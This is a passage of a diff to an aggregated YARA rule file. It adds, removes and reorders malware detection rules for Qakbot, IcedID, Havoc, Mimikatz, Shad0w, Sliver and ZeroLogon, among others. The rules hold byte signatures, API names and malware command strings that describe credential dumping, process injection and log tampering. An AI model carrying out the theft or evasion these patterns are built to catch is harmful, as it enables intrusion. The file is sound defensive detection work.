44 8b c2} condition: - uint16( 0 ) == 0x5a4d and $qakbot_decrypt + uint16( 0 ) == 0x5a4d and ( any of them ) } -rule EMBEERESEARCH_Win_Icedid_Encryption_Oct_2022 : FILE +rule EMBEERESEARCH_Win_Qakbot_String_Decrypt_Nov_2022 : FILE { meta: description = "No description has been set in the source file - EmbeeResearch" author = "Embee_Research @ Huntress" - id = "1ecbb3b3-dfc1-5d69-807d-3a44c39a3536" - date = "2022-10-14" + id = "0023872f-8edb-59d6-88eb-a76528ba6ec8" + date = "2022-11-14" modified = "2023-10-18" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_icedid_encryption_oct_2022.yar#L1-L18" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_qakbot_string_decrypt_nov_2022.yar#L1-L15" license_url = "N/A" - logic_hash = "da657cf87e043a1fdb2ec683de8a7a12acb8c8f1c24034bb376d525c0a1c5740" + logic_hash = "d225f69fa4dd0e8d7c98e7f8968ad285f05b232225e9ce1070b7a23257a0ef9d" score = 75 quality = 75 tags = "FILE" strings: - $IcedID = {41 0f b6 d3 44 8d 42 01 83 e2 03 41 83 e0 03 42 8a 44 84 40 02 44 94 40 43 32 04 33 42 8b 4c 84 40 41 88 04 1b 83 e1 07 8b 44 94 40 49 ff c3 d3 c8 ff c0 89 44 94 40 83 e0 07} + $qakbot_decrypt = {33 d2 8b c7 f7 75 10 8a 04 1a 8b 55 fc 32 04 17 88 04 39 47 83 ee 01} condition: - $IcedID + uint16( 0 ) == 0x5a4d and $qakbot_decrypt } -rule EMBEERESEARCH_Win_Qakbot_Api_Hashing_Oct_2022 : FILE +rule EMBEERESEARCH_Win_Havoc_Djb2_Hashing_Routine_Oct_2022 : FILE { meta: description = "No description has been set in the source file - EmbeeResearch" - author = "@Embee_Research" - id = "b5478404-659d-5b3a-b722-f8ba33875d8a" - date = "2022-11-14" - modified = "2022-12-01" - reference = "https://twitter.com/embee_research/status/1592067841154756610" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_qakbot_api_hashing_oct_2022.yar#L2-L21" + author = "embee_research @ HuntressLabs" + id = "cde3e14f-0671-5bcf-93e8-e0a0af9b462c" + date = "2022-10-11" + modified = "2023-10-18" + reference = "https://github.com/embee-research/Yara-detection-rules/" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_havoc_djb2_hashing_routine_oct_2022.yar#L1-L24" license_url = "N/A" - logic_hash = "595cabd508ee60c5606f965eb9a290ae21ea32af0f56e213f6ce2d2e35dc4e11" + logic_hash = "9f645480c3d78153186a247440739a1d2e627ec64a4225083bd8db4ad9bd5ef3" score = 75 quality = 75 tags = "FILE" - vendor = "Huntress Labs" + vendor = "Huntress Research" strings: - $qakbot_hashing = {0f b6 04 39 33 f0 8b c6 c1 ee 04 83 e0 0f 33 34 85 ?? ?? ?? ?? 8b c6 c1 ee 04 83 e0 0f 33 34 85 ?? ?? ?? ?? 41 3b ca} + $dll = {b8 05 15 00 00 0f be 11 48 ff c1 84 d2 74 07 6b c0 21 01 d0 eb ef} + $shellcode = {41 80 f8 60 76 04 41 83 e8 20 6b c0 21 45 0f b6 c0 49 ff c1 44 01 c0 eb c4} condition: - any of them + ( any of them ) and ( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x00e8 or uint16( 0 ) == 0x4856 ) } rule EMBEERESEARCH_Win_Bruteratel_Syscall_Hashes_Oct_2022 : FILE { @@ -173584,35 +173530,36 @@ rule EMBEERESEARCH_Win_Bruteratel_Syscall_Hashes_Oct_2022 : FILE condition: ( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x00e8 ) and ( 2 of ( $hash* ) ) } -rule EMBEERESEARCH_Win_Havoc_Djb2_Hashing_Routine_Oct_2022 : FILE +rule EMBEERESEARCH_Win_Gracewire_Loader_Dec_2022 : FILE { meta: - description = "No description has been set in the source file - EmbeeResearch" - author = "embee_research @ HuntressLabs" - id = "cde3e14f-0671-5bcf-93e8-e0a0af9b462c" - date = "2022-10-11" + description = "Yara rule to detect GraceWireLoader via usage of Stack Strings" + author = "Embee_Research @ Huntress" + id = "63d0cd9f-34f7-5ec4-8061-66d36859bd0c" + date = "2022-12-12" modified = "2023-10-18" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_havoc_djb2_hashing_routine_oct_2022.yar#L1-L24" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_gracewire_loader_dec_2022.yar#L2-L24" license_url = "N/A" - logic_hash = "9f645480c3d78153186a247440739a1d2e627ec64a4225083bd8db4ad9bd5ef3" + logic_hash = "168af6d24c0646e90717f27e6ba4a18da8e92950ffa7a881243860305037da48" score = 75 quality = 75 tags = "FILE" - vendor = "Huntress Research" strings: - $dll = {b8 05 15 00 00 0f be 11 48 ff c1 84 d2 74 07 6b c0 21 01 d0 eb ef} - $shellcode = {41 80 f8 60 76 04 41 83 e8 20 6b c0 21 45 0f b6 c0 49 ff c1 44 01 c0 eb c4} + $ZwAllocateVirtualMemory = {c6 44 24 48 5a c6 44 24 49 77 c6 44 24 4a 41 c6 44 24 4b 6c c6 44 24 4c 6c c6 44 24 4d 6f c6 44 24 4e 63 c6 44 24 4f 61 c6 44 24 50 74 c6 44 24 51 65 c6 44 24 52 56 c6 44 24 53 69 c6 44 24 54 72 c6 44 24 55 74 c6 44 24 56 75 c6 44 24 57 61 c6 44 24 58 6c c6 44 24 59 4d c6 44 24 5a 65 c6 44 24 5b 6d c6 44 24 5c 6f} + $LdrGetProcedureAddress = {c6 44 24 50 4c c6 44 24 51 64 c6 44 24 52 72 c6 44 24 53 47 c6 44 24 54 65 c6 44 24 55 74 c6 44 24 56 50 c6 44 24 57 72 c6 44 24 58 6f c6 44 24 59 63 c6 44 24 5a 65 c6 44 24 5b 64 c6 44 24 5c 75 c6 44 24 5d 72 c6 44 24 5e 65 c6 44 24 5f 41 c6 44 24 60 64 c6 44 24 61 64 c6 44 24 62 72 c6 44 24 63 65 c6 44 24 64 73 c6 44 24 65 73 c6 44 24 66 00} + $LdrLoadDLL = {c6 44 24 50 4c c6 44 24 51 64 c6 44 24 52 72 c6 44 24 53 4c c6 44 24 54 6f c6 44 24 55 61 c6 44 24 56 64 c6 44 24 57 44 c6 44 24 58 6c c6 44 24 59 6c} + $ZwFreeVirtualMemory = {c6 44 24 30 5a c6 44 24 31 77 c6 44 24 32 46 c6 44 24 33 72 c6 44 24 34 65 c6 44 24 35 65 c6 44 24 36 56 c6 44 24 37 69 c6 44 24 38 72 c6 44 24 39 74 c6 44 24 3a 75 c6 44 24 3b 61 c6 44 24 3c 6c c6 44 24 3d 4d c6 44 24 3e 65 c6 44 24 3f 6d c6 44 24 40 6f c6 44 24 41 72 c6 44 24 42 79} condition: - ( any of them ) and ( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x00e8 or uint16( 0 ) == 0x4856 ) + 3 of them } /* * YARA Rule Set * Repository Name: AvastTI * Repository: https://github.com/avast/ioc - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: e06f1f727a474f65c2ba1b00533398faa49268c6 * Number of Rules: 33 * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance) @@ -174475,7 +174422,7 @@ rule AVASTTI_Cobaltstrike_Beacon_Xored_X64 * YARA Rule Set * Repository Name: SBousseaden * Repository: https://github.com/sbousseaden/YaraHunts/ - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: 71b27a2a7c57c2aa1877a11d8933167794e2b4fb * Number of Rules: 37 * Skipped: 0 (age), 4 (quality), 0 (score), 0 (importance) @@ -174485,31 +174432,6 @@ rule AVASTTI_Cobaltstrike_Beacon_Xored_X64 * * NO LICENSE SET */ -rule SBOUSSEADEN_Shad0W_Beacon_16June : FILE -{ - meta: - description = "Shad0w beacon compressed" - author = "SBousseaden" - id = "1229e84f-bf6e-5e87-9351-a48cd50397b0" - date = "2020-06-16" - modified = "2020-06-17" - reference = "https://github.com/bats3c/shad0w" - source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/shad0w_beacon_16June.yara#L1-L13" - license_url = "N/A" - logic_hash = "c313e995d6eaae6d2ee63964f6fc94964065af7a61d7f304280d914e6f0dd548" - score = 75 - quality = 75 - tags = "FILE" - - strings: - $s1 = {F2 AE ?? ?? ?? FF 15 ?? ?? 00 00 48 09 C0 74 09} - $s2 = {33 2E 39 36 00 ?? ?? ?? 21 0D 24 0E 0A} - $s3 = "VirtualProtect" - $s4 = "GetProcAddress" - - condition: - uint16( 0 ) == 0x5a4d and all of ( $s* ) -} rule SBOUSSEADEN_Maliciousdllgenerator : FILE { @@ -174533,123 +174455,101 @@ rule SBOUSSEADEN_Maliciousdllgenerator : FILE condition: uint16( 0 ) == 0x5a4d and $decoder and pe.exports ( "Init" ) and pe.number_of_exports == 2 } -rule SBOUSSEADEN_Dcsync_Mimikatz : FILE +rule SBOUSSEADEN_Shad0W_Ldrloaddll_Hook : FILE { meta: - description = "Hunting rule for Mimikatz Implementation of DCSync Attack" + description = "Shad0w beacon LdrLoadDll hook" author = "SBousseaden" - id = "2d5d5fdb-8a84-5e88-b136-4e3e788c46cd" - date = "2020-09-22" - modified = "2020-09-22" - reference = "https://github.com/gentilkiwi/mimikatz" - source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_mimikatz_dcsync.yara#L1-L24" + id = "f9f75b96-2341-553f-b6ca-28d6cb9b880a" + date = "2020-06-06" + modified = "2020-06-07" + reference = "https://github.com/bats3c/shad0w" + source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/shad0w_ldrhook.yara#L1-L13" license_url = "N/A" - logic_hash = "436979d794b7b599f2186252c7f233f091100880c2d39008d8bd7f839553fb53" - score = 50 + logic_hash = "28e8ca9eee2377fd816dd3bd29e05f4146cea975e0ba5ec180073e10a49895e0" + score = 75 quality = 75 tags = "FILE" strings: - $DRS1 = "DRSGetNCChanges" - $DRS2 = "DRSReplicaAdd" - $DRS3 = "DRSAddEntry" - $DRSW1 = "DRSGetNCChanges" wide - $DRSW2 = "DRSReplicaAdd" wide - $DRSW3 = "DRSAddEntry" wide - $rpc1 = {35 42 51 E3 06 4B D1 11 AB 04 00 C0 4F C2 DC D2 04 00 00 00 04 5D 88 8A EB 1C C9 11 9F E8 08 00 2B 10 48 60 02} - $rpc2 = {34 05 50 21 18 00 08 00 13 81 20 00 8A 05 70 00 28} - $rpc3 = {0B 01 10 00 DC 05 50 21 18 00 08 00 13 21 20 00 2E 06 70 00 28} - $rpc4 = {48 06 50 21 18 00 08 00 13 41 20 00 72 06 70 00 28} - $rpc5 = {78 03 0B 00 10 00 7C 03 13 20 18 00 A4 03 10 01 20 00 AC 03 70 00 28} - $rpc6 = {C0 03 50 21 18 00 08 00 13 01 20 00 74 04 70 00 28} - $rpc7 = {8C 06 50 21 18 00 08 00 13 A1 20 00 C6 06 70 00 28} - $def1 = "mimikatz" - $def2 = "mimikatz" wide + $s1 = "LdrLoadD" + $s2 = "SetPr" + $s3 = "Policy" + $s4 = {B8 49 BB DE AD C0} condition: - uint16( 0 ) == 0x5a4d and ( all of ( $DRS* ) or all of ( $DRSW* ) ) and all of ( $rpc* ) and not ( any of ( $def* ) ) + uint16( 0 ) == 0x5a4d and all of ( $s* ) } -rule SBOUSSEADEN_TDL_Loader_Bootstrap_Shellcode : FILE +rule SBOUSSEADEN_Infinityhook : FILE { meta: - description = "No description has been set in the source file - SBousseaden" + description = "Infinityhook is a legit research PoC to hook NT Syscalls bypassing PatchGuard" author = "SBousseaden" - id = "a2adedef-ba38-599f-b52c-e2156aa5ef98" - date = "2020-10-10" - modified = "2020-10-10" - reference = "https://github.com/hfiref0x/TDL" - source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/tdl_loader_bootstrat_shellcode.yara#L1-L9" + id = "82f4eef2-fca7-58b1-a85c-3c237f523740" + date = "2020-09-07" + modified = "2020-07-10" + reference = "https://github.com/everdox/InfinityHook" + source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/infinityhook.yara#L1-L17" license_url = "N/A" - logic_hash = "14a993b415e330e284503c409ab66445c5e369a21ef0be37297d9c8946b5559b" + logic_hash = "c621ce3be8049de7584af73ca4472df5561d3c4ac8b458937db2ad68fdcbe2d8" score = 75 - quality = 75 + quality = 73 tags = "FILE" strings: - $shc1 = {41 B8 54 64 6C 53 48 63 6B 3C 48 03 EB 44 8B 7D 50 41 8D 97 00 10 00 00 41 FF D1} - $shc2 = {41 B8 54 64 6C 53 4C 63 73 3C 4C 03 F3 45 8B 7E 50 41 8D 97 00 10 00 00 41 FF D1 45 33 C9} + $EtwpDebuggerPattern = {00 2C 08 04 38 0C 00} + $SMV = {00 00 76 66 81 3A 02 18 50 00 75 0E 48 83 EA 08 B8 33 0F 00} + $KVASCODE = {4B 56 41 53 43 4F 44 45} + $CKL = "Circular Kernel Context Logger" wide nocase condition: - uint16( 0 ) == 0x5a4d and any of ( $shc* ) + uint16( 0 ) == 0x5a4d and all of them } -rule SBOUSSEADEN_APT_Xdsspy_Xdupload : FILE + +rule SBOUSSEADEN_Gosliver { meta: description = "No description has been set in the source file - SBousseaden" author = "SBousseaden" - id = "ae38d017-6420-596c-af29-62f15cfe56b8" - date = "2020-05-10" - modified = "2020-10-05" - reference = "https://www.welivesecurity.com/2020/10/02/xdspy-stealing-government-secrets-since-2011/" - source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/apt_xdspy_xdupload.yara#L1-L11" + id = "eba5043a-ca4d-5c5d-a895-51218b03e59e" + date = "2020-10-11" + modified = "2020-10-11" + reference = "https://github.com/BishopFox/sliver" + source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_sliver_go_framwwork.yara#L2-L9" license_url = "N/A" - logic_hash = "648ea81d1b44d8514439683cf2f86a8027f9e1eb64abf76d42347fc2ce9c4e68" + logic_hash = "8dc96e533adc29c78a998d9f064ff294d2ef8a4ff00cef8b0c81ef465ef70b08" score = 75 quality = 75 - tags = "FILE" + tags = "" strings: - $s1 = "cmd.exe /u /c cd /d \"%s\" & dir /a /-c" wide - $s2 = "commandC_dll.dll" - $s3 = "cmd.exe /u /c del" wide + $go = "_cgo_" condition: - uint16( 0 ) == 0x5a4d and 2 of ( $s* ) + #go> 10 and pe.exports ( "RunSliver" ) } -rule SBOUSSEADEN_Hunt_Slub_Backdoor : FILE +rule SBOUSSEADEN_Mimikatz_Kiwikey { meta: - description = "No description has been set in the source file - SBousseaden" + description = "hunt for default mimikatz kiwikey" author = "SBousseaden" - id = "c15d5f14-d17f-528b-bf85-e06a5e23518c" - date = "2020-10-22" - modified = "2020-10-22" - reference = "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-kitsune.pdf" - source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/APT_SLUB_Backdoor.yara#L1-L22" + id = "3141e679-6e07-5017-9675-4557fb876ebc" + date = "2020-08-08" + modified = "2020-08-09" + reference = "https://github.com/sbousseaden/YaraHunts/" + source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/kiwikey.yara#L1-L10" license_url = "N/A" - hash = "93bb93d87cedb0a99976c18a37d65f816dc904942a0fb39cc177d49372ed54e5" - hash = "59e4510b7b15011d67eb2f80484589f7211e67756906a87ce466a7bb68f2095b" - hash = "c7788c015244e12e4c8cc69a2b1344d589284c84102c2f1871bbb4f4c32c2936" - hash = "6678a5964db74d477b39bd0a8c18adf02844bed8b112c7bcca6984032918bdfb" - logic_hash = "aa17dcfde1e2227ff04bda708d4c40c1e1f07b404d2c43582632d83c98d65e83" - score = 50 - quality = 73 - tags = "FILE" + logic_hash = "03745aed838dafad2fc6e190f181141bda31c212af56edb8ba665b86671f8bee" + score = 75 + quality = 75 + tags = "" strings: - $s1 = "file_infos" ascii wide - $s2 = "%ws\\%u_cmd_out.tmp" ascii wide - $s3 = "%ws\\%u_cmd_out.zip" ascii wide - $s4 = "[was netstat]" ascii wide - $s5 = {63 3A 5C 77 6F 72 6B 2E 76 63 70 6B 67 5C 69 6E 73 74 61 6C 6C 65 64 5C 78 36 34 2D 77 69 6E 64 6F 77 73 2D 73 74 61 74 69 63 5C} - $s6 = "LoadFileToMemory" ascii wide - $s7 = "setStartupExec" ascii wide - $s8 = "%04u-%02u-%02u %02u:%02u:%02u" ascii wide - $s9 = "goto del_one" ascii wide - $s10 = "goto del_two" ascii wide + $A = {60 BA 4F CA C7 44 24 ?? DC 46 6C 7A C7 44 24 ?? 03 3C 17 81 C7 44 24 ?? 94 C0 3D F6} + $B = {48 B8 ?? ?? ?? ?? ?? ?? ?? ?? FF D0} condition: - uint16( 0 ) == 0x5a4d and 3 of them + $A and #B > 10 } rule SBOUSSEADEN_Hunt_Dllhijack_Wow64Log : FILE @@ -174671,209 +174571,28 @@ rule SBOUSSEADEN_Hunt_Dllhijack_Wow64Log : FILE condition: uint16( 0 ) == 0x5a4d and ( pe.exports ( "Wow64LogInitialize" ) or pe.exports ( "Wow64LogMessageArgList" ) or pe.exports ( "Wow64LogSystemService" ) or pe.exports ( "Wow64LogTerminate" ) ) } -rule SBOUSSEADEN_Hunt_Evtmutehook_Memory -{ - meta: - description = "memory hunt for default wevtsv EtwEventCallback hook pattern to apply to eventlog svchost memory dump" - author = "SBousseaden" - id = "5326581e-90d9-59b9-8dc5-74df97571600" - date = "2020-09-05" - modified = "2020-09-05" - reference = "https://blog.dylan.codes/pwning-windows-event-logging/" - source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_memory_evtmutehook.yara#L1-L11" - license_url = "N/A" - logic_hash = "3db66069ed67d90031a6fe071dad4d0200ddd661b263dd2860df026673031e48" - score = 50 - quality = 75 - tags = "" - - strings: - $a = {49 BB ?? ?? ?? ?? ?? ?? ?? ?? 41 FF E3 54 24 20 4C 8B 05 61 CB 1A 00 0F 57 C0 66 0F 7F 44 24 20 E8 5B 0A 00 00 48 83 C4 38 C3} - $b = {48 83 EC 38 4C 8B 0D 65 CB 1A 00 48 8D 54 24 20 4C 8B 05 61 CB 1A 00 0F 57 C0 66 0F 7F 44 24 20 E8 5B 0A 00 00 48 83 C4 38 C3} - - condition: - $a and not $b -} -rule SBOUSSEADEN_Hunt_Procinj_Instrumentationcallback : FILE -{ - meta: - description = "hunt for possible injection with Instrumentation Callback PE" - author = "SBousseaden" - id = "f450bf71-d848-540e-b700-c046662f1cbc" - date = "2020-07-25" - modified = "2020-07-25" - reference = "https://movaxbx.ru/2020/07/24/weaponizing-mapping-injection-with-instrumentation-callback-for-stealthier-process-injection/" - source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_procinj_instrcallback.yara#L1-L21" - license_url = "N/A" - logic_hash = "b33dae550bae9508b9fd5b2d6cabf1d4d928792d3988af23cdba34d9d3d03162" - score = 50 - quality = 71 - tags = "FILE" - - strings: - $mv1 = "MapViewOfFile3" xor - $mv2 = "MapViewOfFile3" wide xor - $mv3 = "NtMapViewOfSectionEx" xor - $mv4 = "NtMapViewOfSectionEx" wide xor - $mv5 = {(49 89 CA|4C 8B D1) B8 0F 01 00 00 0F 05 C3} - $spi1 = "NtSetInformationProcess" xor - $spi2 = "NtSetInformationProcess" wide xor - $spi3 = {(49 89 CA|4C 8B D1) B8 1C 00 00 00 0F 05 C3} - $picb = {BA 28 00 00 00} - $ss1 = {41 52 50 53 55 57 56 54 41 54 41 55 41 56 41 57} - $ss2 = {41 5F 41 5E 41 5D 41 5C 5C 5E 5F 5D 5B 58 41 5A} - $ss3 = {49 89 CA 0F 05 C3} - - condition: - uint16( 0 ) == 0x5a4d and $picb and 1 of ( $mv* ) and 1 of ( $spi* ) and 1 of ( $ss* ) -} - -rule SBOUSSEADEN_Susp_Winsvc_Upx : FILE -{ - meta: - description = "broad hunt for any PE exporting ServiceMain API and upx packed" - author = "SBousseaden" - id = "883691fe-3858-5177-97ca-122ff2ec54af" - date = "2019-01-28" - modified = "2020-06-05" - reference = "https://github.com/sbousseaden/YaraHunts/" - source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/susp_winsvc_upx.yara#L3-L13" - license_url = "N/A" - logic_hash = "85b1932eaab4e559f0805aa76ad9b58553708391b3ac894a8e4f1cf34470dcb7" - score = 65 - quality = 75 - tags = "FILE" - - strings: - $upx1 = {55505830000000} - $upx2 = {55505831000000} - $upx_sig = "UPX!" - - condition: - uint16( 0 ) == 0x5a4d and $upx1 in ( 0 .. 1024 ) and $upx2 in ( 0 .. 1024 ) and $upx_sig in ( 0 .. 1024 ) and pe.exports ( "ServiceMain" ) -} - -rule SBOUSSEADEN_Susp_Msoffice_Addins_Wxll : FILE -{ - meta: - description = "hunt for suspicious MS Office Addins with code injection capabilities" - author = "SBousseaden" - id = "39d3b2af-f848-51c0-a13b-13c0fe3a79dd" - date = "2020-11-10" - modified = "2023-03-27" - reference = "https://twitter.com/JohnLaTwC/status/1315287078855352326" - source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_susp_msoffice_addins_wxll.yara#L3-L29" - license_url = "N/A" - logic_hash = "130a0292b16e934311597d4f91456e6a605477e306a7b1d8171cc4e13794db31" - score = 65 - quality = 75 - tags = "FILE" - - strings: - $inj1 = "WriteProcessMemory" - $inj2 = "NtWriteVirtualMemory" - $inj3 = "RtlMoveMemory" - $inj4 = "VirtualAllocEx" - $inj5 = "NtAllocateVirtualMemory" - $inj6 = "NtUnmapViewOfSection" - $inj7 = "VirtualProtect" - $inj8 = "NtProtectVirtualMemory" - $inj9 = "SetThreadContext" - $inj10 = "NtSetContextThread" - $inj11 = "ResumeThread" - $inj12 = "NtResumeThread" - $inj13 = "QueueUserAPC" - $inj14 = "NtQueueApcThread" - $inj15 = "NtQueueApcThreadEx" - $inj16 = "CreateRemoteThread" - $inj17 = "NtCreateThreadEx" - $inj18 = "RtlCreateUserThread" - - condition: - uint16( 0 ) == 0x5a4d and ( pe.exports ( "wdAutoOpen" ) or pe.exports ( "xlAutoOpen" ) ) and 3 of ( $inj* ) -} -rule SBOUSSEADEN_Shad0W_Ldrloaddll_Hook : FILE +rule SBOUSSEADEN_TDL_Loader_Bootstrap_Shellcode : FILE { meta: - description = "Shad0w beacon LdrLoadDll hook" + description = "No description has been set in the source file - SBousseaden" author = "SBousseaden" - id = "f9f75b96-2341-553f-b6ca-28d6cb9b880a" - date = "2020-06-06" - modified = "2020-06-07" - reference = "https://github.com/bats3c/shad0w" - source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/shad0w_ldrhook.yara#L1-L13" + id = "a2adedef-ba38-599f-b52c-e2156aa5ef98" + date = "2020-10-10" + modified = "2020-10-10" + reference = "https://github.com/hfiref0x/TDL" + source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/tdl_loader_bootstrat_shellcode.yara#L1-L9" license_url = "N/A" - logic_hash = "28e8ca9eee2377fd816dd3bd29e05f4146cea975e0ba5ec180073e10a49895e0" + logic_hash = "14a993b415e330e284503c409ab66445c5e369a21ef0be37297d9c8946b5559b" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "LdrLoadD" - $s2 = "SetPr" - $s3 = "Policy" - $s4 = {B8 49 BB DE AD C0} - - condition: - uint16( 0 ) == 0x5a4d and all of ( $s* ) -} -rule SBOUSSEADEN_Mimikatz_Kiwikey -{ - meta: - description = "hunt for default mimikatz kiwikey" - author = "SBousseaden" - id = "3141e679-6e07-5017-9675-4557fb876ebc" - date = "2020-08-08" - modified = "2020-08-09" - reference = "https://github.com/sbousseaden/YaraHunts/" - source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/kiwikey.yara#L1-L10" - license_url = "N/A" - logic_hash = "03745aed838dafad2fc6e190f181141bda31c212af56edb8ba665b86671f8bee" - score = 75 - quality = 75 - tags = "" - - strings: - $A = {60 BA 4F CA C7 44 24 ?? DC 46 6C 7A C7 44 24 ?? 03 3C 17 81 C7 44 24 ?? 94 C0 3D F6} - $B = {48 B8 ?? ?? ?? ?? ?? ?? ?? ?? FF D0} - - condition: - $A and #B > 10 -} -rule SBOUSSEADEN_Mimikatz_Memssp_Hookfn -{ - meta: - description = "hunt for default mimikatz memssp module both ondisk and in memory artifacts" - author = "SBousseaden" - id = "845827b1-acd4-53af-97fb-43a4fe355fbf" - date = "2020-08-26" - modified = "2020-08-26" - reference = "https://github.com/sbousseaden/YaraHunts/" - source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/mimikatz_memssp_hookfn.yara#L1-L22" - license_url = "N/A" - logic_hash = "f63f3de05dd4f4f40cda6df67b75e37d7baa82c4b4cafd3ebdca35adfb0b15f8" - score = 75 - quality = 75 - tags = "" - - strings: - $s1 = {44 30 00 38 00} - $s2 = {48 78 00 3A 00} - $s3 = {4C 25 00 30 00} - $s4 = {50 38 00 78 00} - $s5 = {54 5D 00 20 00} - $s6 = {58 25 00 77 00} - $s7 = {5C 5A 00 5C 00} - $s8 = {60 25 00 77 00} - $s9 = {64 5A 00 09 00} - $s10 = {6C 5A 00 0A 00} - $s11 = {68 25 00 77 00} - $s12 = {68 25 00 77 00} - $s13 = {6C 5A 00 0A 00} - $B = {6D 69 6D 69 C7 84 24 8C 00 00 00 6C 73 61 2E C7 84 24 90 00 00 00 6C 6F 67} + $shc1 = {41 B8 54 64 6C 53 48 63 6B 3C 48 03 EB 44 8B 7D 50 41 8D 97 00 10 00 00 41 FF D1} + $shc2 = {41 B8 54 64 6C 53 4C 63 73 3C 4C 03 F3 45 8B 7E 50 41 8D 97 00 10 00 00 41 FF D1 45 33 C9} condition: - all of ( $s* ) or $B + uint16( 0 ) == 0x5a4d and any of ( $shc* ) } rule SBOUSSEADEN_Mem_Webcreds_Regexp_Xor { @@ -175333,64 +175052,118 @@ rule SBOUSSEADEN_Hunt_Teamviewer_Registry_Pwddump : CVE_2019_18988 FILE condition: any of ( $key* ) and any of ( $iv* ) and 2 of ( $p* ) and filesize < 700KB } -rule SBOUSSEADEN_Cve_2019_1458 : FILE +rule SBOUSSEADEN_Hunt_Procinj_Instrumentationcallback : FILE { meta: - description = "No description has been set in the source file - SBousseaden" + description = "hunt for possible injection with Instrumentation Callback PE" author = "SBousseaden" - id = "7bcbfccb-2db0-5438-9ed1-eee4c92710b6" - date = "2020-10-22" - modified = "2020-10-23" - reference = "https://github.com/unamer/CVE-2019-1458" - source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_cve_2019_1458.yara#L1-L22" + id = "f450bf71-d848-540e-b700-c046662f1cbc" + date = "2020-07-25" + modified = "2020-07-25" + reference = "https://movaxbx.ru/2020/07/24/weaponizing-mapping-injection-with-instrumentation-callback-for-stealthier-process-injection/" + source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_procinj_instrcallback.yara#L1-L21" license_url = "N/A" - logic_hash = "8c5eac6b9fb9f87e0ffb219f0af8f83475799e062ed339da7a0525180292f5f2" - score = 75 + logic_hash = "b33dae550bae9508b9fd5b2d6cabf1d4d928792d3988af23cdba34d9d3d03162" + score = 50 + quality = 71 + tags = "FILE" + + strings: + $mv1 = "MapViewOfFile3" xor + $mv2 = "MapViewOfFile3" wide xor + $mv3 = "NtMapViewOfSectionEx" xor + $mv4 = "NtMapViewOfSectionEx" wide xor + $mv5 = {(49 89 CA|4C 8B D1) B8 0F 01 00 00 0F 05 C3} + $spi1 = "NtSetInformationProcess" xor + $spi2 = "NtSetInformationProcess" wide xor + $spi3 = {(49 89 CA|4C 8B D1) B8 1C 00 00 00 0F 05 C3} + $picb = {BA 28 00 00 00} + $ss1 = {41 52 50 53 55 57 56 54 41 54 41 55 41 56 41 57} + $ss2 = {41 5F 41 5E 41 5D 41 5C 5C 5E 5F 5D 5B 58 41 5A} + $ss3 = {49 89 CA 0F 05 C3} + + condition: + uint16( 0 ) == 0x5a4d and $picb and 1 of ( $mv* ) and 1 of ( $spi* ) and 1 of ( $ss* ) +} +rule SBOUSSEADEN_Zerlologon_Mimikatz : FILE +{ + meta: + description = "Generic Hunting rule for Mimikatz Implementation of ZeroLogon PrivEsc Exploit" + author = "SBousseaden" + id = "0fd32f14-d82d-5af4-b4a2-b21e2325ade8" + date = "2020-09-17" + modified = "2020-09-17" + reference = 